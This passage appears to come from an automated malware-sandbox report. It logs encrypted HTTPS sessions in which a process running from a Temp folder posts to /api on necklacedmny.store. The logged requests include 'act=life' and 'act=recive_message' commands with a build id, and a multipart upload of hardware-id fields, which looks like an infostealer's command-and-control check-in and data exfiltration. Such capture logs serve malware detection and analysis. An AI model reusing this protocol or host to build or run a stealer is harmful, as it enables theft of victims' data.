2024-10-30 03:35:41 UTC	15331	OUT	Data Raw: a4 b0 bf 33 3d df 07 37 66 ff 22 c4 67 81 c8 f3 0f 6d c9 a5 8a ce bf b8 f2 ab 74 e4 f4 ac bb 8e 20 61 33 9a 4b 10 d5 2d 34 17 29 84 80 15 38 ff a3 c1 9d 35 c5 1f 32 76 65 87 76 d8 6d 97 53 ba b2 45 4c 03 37 e6 1e f0 4b eb 89 31 bf a4 b1 b7 3b 68 23 ed 14 8a fd 1a c6 89 ad f0 8e b2 d9 96 c3 fa 95 7d cd 6c c5 d7 14 ce 7f ff e5 93 8c 06 82 52 bc a0 e2 c9 ce 5a 5a fc e2 32 b4 2a 06 4a bd 1b 12 28 63 ac c0 ec a5 77 23 40 11 7f 3b f8 13 0f d0 96 32 af d3 fb 7b 7a be ab 18 49 55 e9 52 64 cc f2 6e 3d 21 51 55 3a 6d 0b b4 6e 0f 7f 1c 89 51 4b 24 a9 79 0a 95 ea 22 05 84 ef ab 69 15 04 cc 3e ba f4 a0 79 c6 ef 50 96 1c c7 5b 5f 79 d4 cd a0 16 9b a1 d4 96 26 a5 a4 c1 3b 2c 2b e7 1e 8e f9 5e c3 7d ac 71 fe c7 e7 f6 e1 94 65 a0 96 bf e7 f5 69 0d 29 b0 81 5b 6a 04 05 1a Data Ascii: 3=7f"gmt a3K-4)852vevmSEL7K1;h#}lRZZ2*J(cw#@;2{zIURdn=!QU:mnQK$y"i>yP[_y&;,+^}qei)[j
2024-10-30 03:35:41 UTC	15331	OUT	Data Raw: 9d de ca 39 cc d9 31 7b b6 7e 6d a9 e6 9b c6 d7 d4 5e e3 36 43 45 5b e7 7a 80 8f a8 88 73 76 b0 0e e0 14 32 68 38 33 ad 36 bb 0f c5 4b d8 bf a4 fa fe 1f 94 58 7b 07 24 76 ad 4e 02 3a d1 90 4f 31 bd 25 4d 5c b8 66 4e fe c1 d2 55 8a 6b 78 7b 28 f1 47 c3 82 f7 b5 a8 11 e1 f8 b2 78 0d 16 ce 42 d4 36 e4 0b e7 a9 a5 c8 3a 0f 05 ce 5f 81 7d 94 a9 5f 10 88 2b e4 e6 55 9a 90 50 72 36 20 a4 bb af 51 2d b3 14 0a 4a a1 26 a7 cf cb 5a 33 8b 26 ae a8 52 90 a8 c1 3e ef 05 fe 20 8a af ea 25 e7 19 f0 ac 59 cf 64 fc 14 a7 5c d9 ca c8 a3 4e da 52 77 1b a3 ac 21 b2 b5 e2 ab 5a 0f fa 68 4a 4f 04 c5 83 1d 59 22 c7 3a 45 cb d6 80 02 e2 26 1d a2 55 0c 11 26 3e e8 83 e0 e2 fe f4 8a 9d f7 ff 25 c0 f8 73 0e 54 bd ef 42 af 57 13 22 89 38 c6 56 15 82 94 fa f7 a8 ad b6 69 d2 cb d2 9d Data Ascii: 91{~m^6CE[zsv2h836KX{$vN:O1%M\fNUkx{(GxB6:_}_+UPr6 Q-J&Z3&R> %Yd\NRw!ZhJOY":E&U&>%sTBW"8Vi
2024-10-30 03:35:41 UTC	15331	OUT	Data Raw: d6 30 7f ab da 2f dc 11 80 bd 18 6f e5 f1 28 f8 22 2a cd 97 81 8a 7e f9 5d dc 17 ea da c6 34 e1 3e 69 db b0 5c d4 e1 e7 33 18 42 24 1e 05 f2 c9 29 6f 07 55 c4 ca 77 b9 bb b0 3d 1e ec 58 71 20 60 bf 89 e6 6f b4 f3 3d 41 2a 65 e8 a3 57 40 2a 23 b9 9d df 0a f6 fe 6a 96 c4 35 c6 54 a4 ce 0f b5 90 02 b1 7b 24 8f 6c a7 f4 38 96 f3 33 6d c1 0d 02 6c a6 dc 2b 1b 99 b6 e2 b1 eb 2e a7 7e 39 de 2b 3c 75 1a f9 97 33 28 cd fe f8 5c a4 05 86 14 c7 90 c7 8d e6 ed 7b 23 04 81 02 fb c3 53 1f 07 25 78 12 b1 45 fa c0 a2 df 17 e8 f3 0b 0a 99 1c 65 62 75 53 cd 88 c3 67 0a b2 84 c2 b7 f1 14 9c ae 3b 3a bc 7c 9b f4 39 e3 e2 7a b2 69 9b 37 7a ec 3c 3e 60 53 57 48 39 27 bb 1c 9c fe 58 97 af e3 76 13 e5 df 35 eb ed 12 fa 66 c4 de 7b ed d2 ae e2 b9 63 e4 fc df 6a 61 83 ff 7f 77 dd Data Ascii: 0/o("~]4>i\3B$)oUw=Xq `o=AeW@*#j5T{$l83ml+.~9+<u3(\{#S%xEebuSg;:\|9zi7z<>`SWH9'Xv5f{cjaw
2024-10-30 03:35:41 UTC	15331	OUT	Data Raw: 66 57 15 d5 ed 84 07 a0 0e 54 4e 8a 83 d0 24 54 f0 f6 7d 82 06 ad 83 ca 27 b2 aa 76 88 22 35 a4 fb 70 c2 96 58 28 da 92 ca 55 da fa 43 ee ea f5 06 db 01 21 89 21 da 87 a7 7d 3b 13 e5 af 79 71 1b c3 4a d5 6e 1f 30 11 e1 1b 15 9d 54 a5 08 3a fb ac e6 26 f6 13 fe e0 37 6b b7 2f c6 71 b5 ec e3 6a fb b8 66 72 27 79 ee 1f de e9 9d f9 21 08 82 92 10 74 87 97 11 5f cc 1b 73 67 8c df 10 8a 9f 6f 5d 75 a9 b9 f4 74 98 f1 0f df 29 1f 26 57 6a 21 27 05 40 a9 3f 5f 4f 91 be 58 d4 78 d2 ec 44 b7 8e 21 56 84 90 3f 36 53 77 62 2e 5d 03 41 20 e6 c3 08 5e f8 1d 70 18 17 10 88 cf be b4 72 d2 3b 4b 36 fe c4 57 b1 12 72 b1 0a d8 fd 52 93 47 c0 6e 01 31 c2 b8 ab 7c eb 90 14 91 8d 06 c7 cb e3 b0 a8 f8 e4 15 ca 82 b0 f8 4d 50 be 4d f9 ed 29 29 80 5d 75 12 d6 e3 cc 69 31 99 35 6f Data Ascii: fWTN$T}'v"5pX(UC!!};yqJn0T:&7k/qjfr'y!t_sgo]ut)&Wj!'@?_OXxD!V?6Swb.]A ^pr;K6WrRGn1\|MPM))]ui15o
2024-10-30 03:35:44 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pud7d6k57dh1l9pk6ajnto5gq5; expires=Sat, 22 Feb 2025 21:22:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IAlshmJgkjvlLJ6nsA07qVrTMHUHifAo4%2Fga0Pi%2B4Cynd2GCq07MgI3VwyS1ZYGxrcX8cal66H8QHUrB1FEVnN5hr2Ml5htvneERJtMwbULMxJyQ5WgEmzoyht2kC8tM3ZEnn1A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85b56ab894686-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1216&sent=219&recv=609&lost=0&retrans=0&sent_bytes=2845&recv_bytes=565803&delivery_rate=2373770&cwnd=251&unsent_bytes=0&cid=5ea10d392216f39d&ts=2518&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49997	188.114.97.3	443	4684	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:35:45 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 03:35:45 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 03:35:45 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=34g9h1dvvc9rf9rq2oo08eaf5v; expires=Sat, 22 Feb 2025 21:22:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lS6nrVyRcJvQ%2BZv7DNMc4%2FPFdxgwRwAgBCagMWyDtiYSvSpD2QFT6sErUT5TRii8F0liwt%2F%2Fmltii%2BA5fypovjBapN7gO0ZLZkkm7T7XH%2B8gk6L1uN4ab0s61ebcEyaKRHcqj%2B4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85b6d18536b76-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1213&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2421404&cwnd=251&unsent_bytes=0&cid=8fb89462a18846ef&ts=540&x=0"
2024-10-30 03:35:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 03:35:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50000	188.114.97.3	443	4684	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:35:47 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 03:35:47 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 03:35:47 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nrtb32tjvdlrl4udajhctf8o38; expires=Sat, 22 Feb 2025 21:22:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T0m64kKiWyW0FaNbb3D3yOYlgqipn2tRpWVn6XWP7Cv5%2BPPUTfLThb5tIQHCPBsdXpqPUabuCrizrqzCsK3dIZdScG1%2FVwOW9Pba4KYWt1K9JEquBb8%2Bh0SqEVyCJJZgAfC%2BZZc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85b798e892d3b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2141&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1416136&cwnd=237&unsent_bytes=0&cid=2404d50cc92dd5ff&ts=350&x=0"
2024-10-30 03:35:47 UTC	354	IN	Data Raw: 34 64 36 0d 0a 52 35 6a 53 4c 4f 57 68 65 70 69 64 43 55 66 4e 77 53 57 39 50 50 6f 43 58 6f 4c 77 4c 4f 75 51 74 6e 2b 6e 44 4c 46 43 35 47 59 38 75 71 51 4f 33 35 56 57 75 75 35 73 5a 66 65 31 56 38 68 5a 31 69 41 2f 35 74 49 57 6a 66 48 61 44 4d 49 67 6b 7a 53 4a 52 48 33 2b 73 30 43 57 78 46 61 36 2b 48 46 6c 39 35 70 65 6e 31 6d 55 49 47 53 67 6c 55 61 4a 38 64 6f 64 78 6d 66 65 4d 6f 67 46 4c 2f 53 31 52 49 44 43 48 76 6e 78 5a 43 4b 6f 70 45 54 58 55 70 4e 76 4e 75 2f 53 41 4d 6e 31 7a 46 32 64 4c 76 77 6e 6b 41 63 4b 2b 61 46 48 78 39 78 57 34 37 39 73 4b 65 2f 37 42 39 78 5a 6d 47 34 34 35 70 74 45 67 2f 6a 53 48 4d 4e 6d 77 53 75 43 44 69 2f 36 74 6b 57 4b 79 77 72 30 2b 32 4d 70 72 71 35 45 6e 78 44 59 5a 79 53 67 79 67 37 61 77 4e 63 4d 31 48 Data Ascii: 4d6R5jSLOWhepidCUfNwSW9PPoCXoLwLOuQtn+nDLFC5GY8uqQO35VWuu5sZfe1V8hZ1iA/5tIWjfHaDMIgkzSJRH3+s0CWxFa6+HFl95pen1mUIGSglUaJ8dodxmfeMogFL/S1RIDCHvnxZCKopETXUpNvNu/SAMn1zF2dLvwnkAcK+aFHx9xW479sKe/7B9xZmG445ptEg/jSHMNmwSuCDi/6tkWKywr0+2Mprq5EnxDYZySgyg7awNcM1H
2024-10-30 03:35:47 UTC	891	IN	Data Raw: 68 6a 6f 39 32 41 75 71 72 46 4d 31 6c 4f 56 59 44 48 71 6e 55 32 4a 39 64 34 58 79 6d 54 58 4c 59 73 43 4a 66 72 77 41 4d 66 45 41 4c 71 6e 4b 77 61 71 73 30 44 54 53 4e 70 61 66 50 2f 63 56 38 6e 31 32 46 32 64 4c 74 73 6c 68 51 63 75 39 62 4e 47 6a 4e 45 59 36 50 6c 6d 49 4c 32 6c 51 74 46 55 6d 33 49 32 37 70 52 4e 67 50 6e 64 47 4d 4a 71 6b 32 37 47 41 7a 32 36 36 41 36 6d 7a 68 50 32 39 58 77 6c 37 37 77 4a 78 68 36 66 62 48 79 34 30 6b 71 49 39 74 55 5a 79 32 44 58 4c 49 41 4b 4b 50 57 32 52 49 66 45 45 76 4c 33 61 69 69 6b 72 45 66 61 55 35 78 6d 4d 4f 47 58 44 73 65 79 30 77 57 46 4e 70 4d 4f 67 51 63 33 75 49 56 4e 69 63 30 66 37 4c 39 30 61 37 62 6a 51 4e 4d 65 77 43 41 79 35 5a 31 63 69 4f 44 52 45 39 64 69 31 69 61 4c 42 79 76 36 74 55 6d 4b Data Ascii: hjo92AuqrFM1lOVYDHqnU2J9d4XymTXLYsCJfrwAMfEALqnKwaqs0DTSNpafP/cV8n12F2dLtslhQcu9bNGjNEY6PlmIL2lQtFUm3I27pRNgPndGMJqk27GAz266A6mzhP29Xwl77wJxh6fbHy40kqI9tUZy2DXLIAKKPW2RIfEEvL3aiikrEfaU5xmMOGXDsey0wWFNpMOgQc3uIVNic0f7L90a7bjQNMewCAy5Z1ciODRE9di1iaLByv6tUmK
2024-10-30 03:35:47 UTC	1369	IN	Data Raw: 33 66 39 36 0d 0a 6a 77 73 30 71 44 7a 68 66 7a 39 6d 49 33 70 61 39 4a 7a 56 4f 53 5a 54 4c 73 6c 30 47 4a 38 39 55 54 7a 32 57 54 62 73 59 44 50 62 72 6f 44 71 6a 4f 43 4f 6a 31 59 44 54 74 6c 6b 54 52 55 4a 39 32 66 50 2f 63 56 38 6e 31 32 46 32 64 4c 74 67 6d 69 67 67 6c 2f 4b 4a 41 69 4e 45 53 36 50 74 6c 49 61 4f 74 54 74 4a 52 6e 58 49 34 34 49 42 50 6a 50 58 61 45 4e 64 72 6b 32 37 47 41 7a 32 36 36 41 36 39 39 78 2f 71 37 6d 78 6e 6d 71 42 4a 30 56 6d 4f 49 43 4f 75 69 77 36 4f 2f 70 52 46 68 57 33 66 4c 59 38 42 4b 75 69 36 51 6f 62 52 48 2f 50 32 59 53 53 68 72 45 7a 54 57 34 70 72 4d 2b 69 64 54 34 54 2f 33 78 6e 46 4c 70 31 67 67 52 78 6c 6f 76 42 76 69 73 77 4b 2b 65 34 70 45 4b 79 74 53 64 68 49 32 48 39 79 2b 64 4a 4a 68 62 4b 4d 58 63 52 Data Ascii: 3f96jws0qDzhfz9mI3pa9JzVOSZTLsl0GJ89UTz2WTbsYDPbroDqjOCOj1YDTtlkTRUJ92fP/cV8n12F2dLtgmiggl/KJAiNES6PtlIaOtTtJRnXI44IBPjPXaENdrk27GAz266A699x/q7mxnmqBJ0VmOICOuiw6O/pRFhW3fLY8BKui6QobRH/P2YSShrEzTW4prM+idT4T/3xnFLp1ggRxlovBviswK+e4pEKytSdhI2H9y+dJJhbKMXcR
2024-10-30 03:35:47 UTC	1369	IN	Data Raw: 67 6f 70 38 62 64 46 6a 4d 63 63 2b 76 4a 67 4b 36 47 71 53 39 64 53 6e 33 49 78 35 5a 70 45 67 50 66 59 45 4d 5a 38 30 43 48 47 53 6d 58 39 71 41 37 66 67 7a 2f 4a 79 45 68 6c 73 4f 31 65 6e 31 6d 55 49 47 53 67 6b 30 61 4f 2f 4e 41 50 79 33 7a 64 4a 34 59 43 4c 66 4b 33 51 6f 6e 4e 43 76 4c 2b 61 79 75 67 71 30 37 62 58 35 78 6b 4d 4f 66 53 41 4d 6e 31 7a 46 32 64 4c 76 73 6a 6e 42 35 6e 31 4c 74 4f 67 4e 4d 4f 34 62 39 30 61 37 62 6a 51 4e 4d 65 77 43 41 34 36 35 68 48 69 76 76 51 45 4d 56 6e 33 43 6d 4f 43 53 33 6f 73 55 53 56 78 78 33 37 38 47 45 68 70 36 39 49 30 31 71 4b 61 33 79 75 30 6b 6d 52 73 6f 78 64 35 57 58 46 41 35 51 57 5a 65 58 2b 56 38 66 45 46 4c 71 6e 4b 79 79 6a 6f 6b 62 56 57 4a 4e 6c 4d 65 43 58 52 49 37 2b 31 42 33 47 61 4e 55 74 Data Ascii: gop8bdFjMcc+vJgK6GqS9dSn3Ix5ZpEgPfYEMZ80CHGSmX9qA7fgz/JyEhlsO1en1mUIGSgk0aO/NAPy3zdJ4YCLfK3QonNCvL+ayugq07bX5xkMOfSAMn1zF2dLvsjnB5n1LtOgNMO4b90a7bjQNMewCA465hHivvQEMVn3CmOCS3osUSVxx378GEhp69I01qKa3yu0kmRsoxd5WXFA5QWZeX+V8fEFLqnKyyjokbVWJNlMeCXRI7+1B3GaNUt
2024-10-30 03:35:47 UTC	1369	IN	Data Raw: 4f 34 54 6f 6a 47 45 50 48 35 5a 53 53 70 72 30 71 66 45 4e 68 6e 4a 4b 44 4b 44 71 37 6f 32 52 76 53 66 2b 59 6e 68 6c 56 6c 35 66 35 58 78 38 51 55 75 71 63 72 4b 4b 4f 70 53 74 70 61 6b 47 63 2f 34 5a 35 4b 68 50 2f 51 46 4d 46 72 77 54 4b 41 43 69 58 31 76 6b 47 4c 30 52 62 2f 2f 32 64 6c 34 65 4e 41 78 78 37 41 49 41 33 33 6b 67 36 57 76 4d 31 64 77 6d 4b 54 65 4d 59 4c 4b 4f 69 38 51 59 66 43 47 2f 37 30 62 43 4f 70 6f 6b 54 61 58 5a 31 6d 50 65 43 65 52 49 37 36 33 68 50 49 61 4e 63 6d 67 45 52 72 75 72 64 57 78 35 74 59 79 50 4a 6c 4c 4b 79 6c 53 73 6c 32 71 53 41 6a 72 6f 73 4f 6a 76 36 55 52 59 56 71 32 43 69 4b 41 53 33 2f 73 55 61 4e 79 78 66 31 37 57 6f 71 70 71 52 4d 30 6c 47 57 5a 54 4c 79 6c 55 57 43 2b 74 30 54 77 79 36 64 59 49 45 63 5a Data Ascii: O4TojGEPH5ZSSpr0qfENhnJKDKDq7o2RvSf+YnhlVl5f5Xx8QUuqcrKKOpStpakGc/4Z5KhP/QFMFrwTKACiX1vkGL0Rb//2dl4eNAxx7AIA33kg6WvM1dwmKTeMYLKOi8QYfCG/70bCOpokTaXZ1mPeCeRI763hPIaNcmgERrurdWx5tYyPJlLKylSsl2qSAjrosOjv6URYVq2CiKAS3/sUaNyxf17WoqpqRM0lGWZTLylUWC+t0Twy6dYIEcZ
2024-10-30 03:35:47 UTC	1369	IN	Data Raw: 48 79 42 44 39 39 32 38 72 76 61 4a 49 6e 78 44 59 5a 79 53 67 79 67 36 34 35 4e 4d 61 79 69 7a 36 4a 35 30 46 4c 2f 6d 37 51 73 66 63 56 75 4f 2f 62 43 6e 76 2b 77 66 53 55 70 56 6b 4c 75 79 53 54 6f 44 31 33 67 2f 4b 59 64 34 6a 68 67 45 33 2b 36 4a 42 6a 4d 59 62 2f 76 42 6b 4b 61 65 70 42 35 45 65 6e 33 68 38 75 4e 4a 69 69 75 50 65 58 2b 4a 30 78 53 65 4b 46 53 37 33 76 41 36 59 6a 51 47 36 2b 47 64 6c 39 2b 4e 48 33 6c 4f 4b 5a 54 33 71 6d 45 4f 42 2f 64 45 59 79 6d 72 58 4b 34 67 57 4b 2f 57 77 53 49 7a 43 48 66 6e 30 59 53 75 6d 73 51 65 52 48 70 39 34 66 4c 6a 53 5a 4a 4c 7a 32 52 47 48 51 4e 67 32 67 55 59 45 39 4c 74 4a 69 39 56 59 35 62 46 79 5a 61 69 76 42 34 63 65 6b 57 34 77 34 35 56 47 67 66 66 55 46 73 56 68 32 53 36 42 46 69 2f 32 75 6c Data Ascii: HyBD9928rvaJInxDYZySgyg645NMayiz6J50FL/m7QsfcVuO/bCnv+wfSUpVkLuySToD13g/KYd4jhgE3+6JBjMYb/vBkKaepB5Een3h8uNJiiuPeX+J0xSeKFS73vA6YjQG6+Gdl9+NH3lOKZT3qmEOB/dEYymrXK4gWK/WwSIzCHfn0YSumsQeRHp94fLjSZJLz2RGHQNg2gUYE9LtJi9VY5bFyZaivB4cekW4w45VGgffUFsVh2S6BFi/2ul
2024-10-30 03:35:47 UTC	1369	IN	Data Raw: 36 72 39 30 61 37 62 6a 51 4e 4d 65 77 43 41 38 35 4a 35 4e 6a 76 7a 62 45 4d 70 70 32 43 2b 4d 43 6a 66 31 74 55 61 4c 79 78 58 6f 39 57 45 33 70 71 70 4b 30 56 61 4b 59 33 79 75 30 6b 6d 52 73 6f 78 64 39 32 54 51 4c 4a 41 4a 4b 72 71 76 41 4a 36 44 48 2f 61 2f 4d 32 57 39 73 55 66 55 58 70 39 75 4c 75 47 61 51 59 50 79 30 68 62 50 62 64 6f 6b 69 41 30 6a 2b 37 31 50 68 73 4d 64 2b 76 5a 35 4b 4f 2f 74 42 39 68 47 32 44 68 38 31 35 35 46 75 50 48 43 58 64 6f 67 79 6d 43 42 43 47 57 69 38 45 2b 56 7a 68 44 2b 2f 32 59 6a 70 4b 4a 47 33 46 36 59 59 7a 7a 6c 6d 55 47 50 39 64 6b 58 7a 47 66 42 4b 49 49 57 4a 66 61 30 44 73 6d 44 48 2b 4b 2f 4d 32 57 66 6f 45 7a 54 58 70 56 31 66 50 2f 63 56 38 6e 31 32 46 32 64 4c 74 73 72 6a 51 49 75 2b 62 4e 41 6a 4d 6b Data Ascii: 6r90a7bjQNMewCA85J5NjvzbEMpp2C+MCjf1tUaLyxXo9WE3pqpK0VaKY3yu0kmRsoxd92TQLJAJKrqvAJ6DH/a/M2W9sUfUXp9uLuGaQYPy0hbPbdokiA0j+71PhsMd+vZ5KO/tB9hG2Dh8155FuPHCXdogymCBCGWi8E+VzhD+/2YjpKJG3F6YYzzlmUGP9dkXzGfBKIIWJfa0DsmDH+K/M2WfoEzTXpV1fP/cV8n12F2dLtsrjQIu+bNAjMk
2024-10-30 03:35:47 UTC	1369	IN	Data Raw: 67 57 6b 74 55 62 53 56 5a 51 69 50 65 32 43 53 63 6d 38 6c 42 75 46 4e 6f 4e 75 78 67 41 30 75 75 67 65 31 5a 68 4e 71 61 67 37 64 37 44 74 58 70 39 49 32 44 68 75 72 74 4a 63 79 61 71 55 57 73 5a 38 77 53 61 46 45 69 61 39 6a 6e 43 6e 79 42 54 35 38 32 6f 69 37 2b 30 48 30 42 37 41 57 58 7a 6a 67 46 7a 47 34 38 49 51 31 57 6d 66 4b 4a 63 4a 4b 62 72 2b 44 73 76 48 45 2f 62 36 62 44 58 67 73 56 66 55 55 6f 34 73 4f 50 4c 53 41 4d 6e 6a 33 78 4c 58 59 4e 52 76 6c 78 49 6f 36 72 4e 4c 67 49 38 51 36 2f 4a 6e 5a 65 48 6a 55 74 52 53 6e 6d 30 70 72 34 4e 59 69 75 54 54 55 63 31 2f 33 69 7a 47 4f 32 75 36 71 41 37 66 67 79 33 35 38 57 55 69 75 62 49 4b 2f 31 57 55 59 7a 44 68 6c 51 37 48 73 74 4a 64 6e 54 32 64 59 49 49 56 5a 61 4c 67 48 4e 79 57 53 36 32 76 Data Ascii: gWktUbSVZQiPe2CScm8lBuFNoNuxgA0uuge1ZhNqag7d7DtXp9I2DhurtJcyaqUWsZ8wSaFEia9jnCnyBT582oi7+0H0B7AWXzjgFzG48IQ1WmfKJcJKbr+DsvHE/b6bDXgsVfUUo4sOPLSAMnj3xLXYNRvlxIo6rNLgI8Q6/JnZeHjUtRSnm0pr4NYiuTTUc1/3izGO2u6qA7fgy358WUiubIK/1WUYzDhlQ7HstJdnT2dYIIVZaLgHNyWS62v
2024-10-30 03:35:47 UTC	1369	IN	Data Raw: 31 65 6e 30 6a 59 4f 47 2b 75 30 6c 7a 4a 71 70 52 61 79 32 50 53 49 34 67 48 4e 2b 69 32 54 5a 48 41 58 38 54 42 54 69 69 69 70 6b 6e 59 59 4b 5a 42 4e 76 43 66 51 59 37 4d 36 69 72 55 61 63 4e 69 6f 41 63 7a 2b 66 41 41 78 39 74 59 6f 72 39 4b 4c 37 2b 75 53 4e 67 65 31 69 41 34 6f 4d 6f 4f 72 50 2f 5a 47 4d 74 70 6b 51 47 4d 46 43 6a 31 74 77 37 4a 67 78 53 36 70 79 73 6b 70 62 4e 4b 30 46 6e 55 5a 79 62 6e 30 67 44 4a 2f 4a 52 46 68 57 2f 5a 4d 49 73 4c 49 72 61 32 51 49 6d 44 42 37 54 6d 4b 7a 50 76 2b 78 53 52 48 6f 6f 67 5a 4b 44 56 51 49 54 7a 31 78 50 47 66 4d 45 6d 68 52 49 6d 76 59 35 77 6f 73 34 56 2f 2f 46 73 47 35 47 43 54 63 39 54 6c 32 64 2b 77 4a 56 59 69 73 7a 71 4b 74 52 70 77 32 4b 67 42 7a 50 35 38 41 44 48 32 31 69 69 76 30 6f 76 76 Data Ascii: 1en0jYOG+u0lzJqpRay2PSI4gHN+i2TZHAX8TBTiiipknYYKZBNvCfQY7M6irUacNioAcz+fAAx9tYor9KL7+uSNge1iA4oMoOrP/ZGMtpkQGMFCj1tw7JgxS6pyskpbNK0FnUZybn0gDJ/JRFhW/ZMIsLIra2QImDB7TmKzPv+xSRHoogZKDVQITz1xPGfMEmhRImvY5wos4V//FsG5GCTc9Tl2d+wJVYiszqKtRpw2KgBzP58ADH21iiv0ovv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50004	188.114.97.3	443	4684	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:35:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-30 03:35:49 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
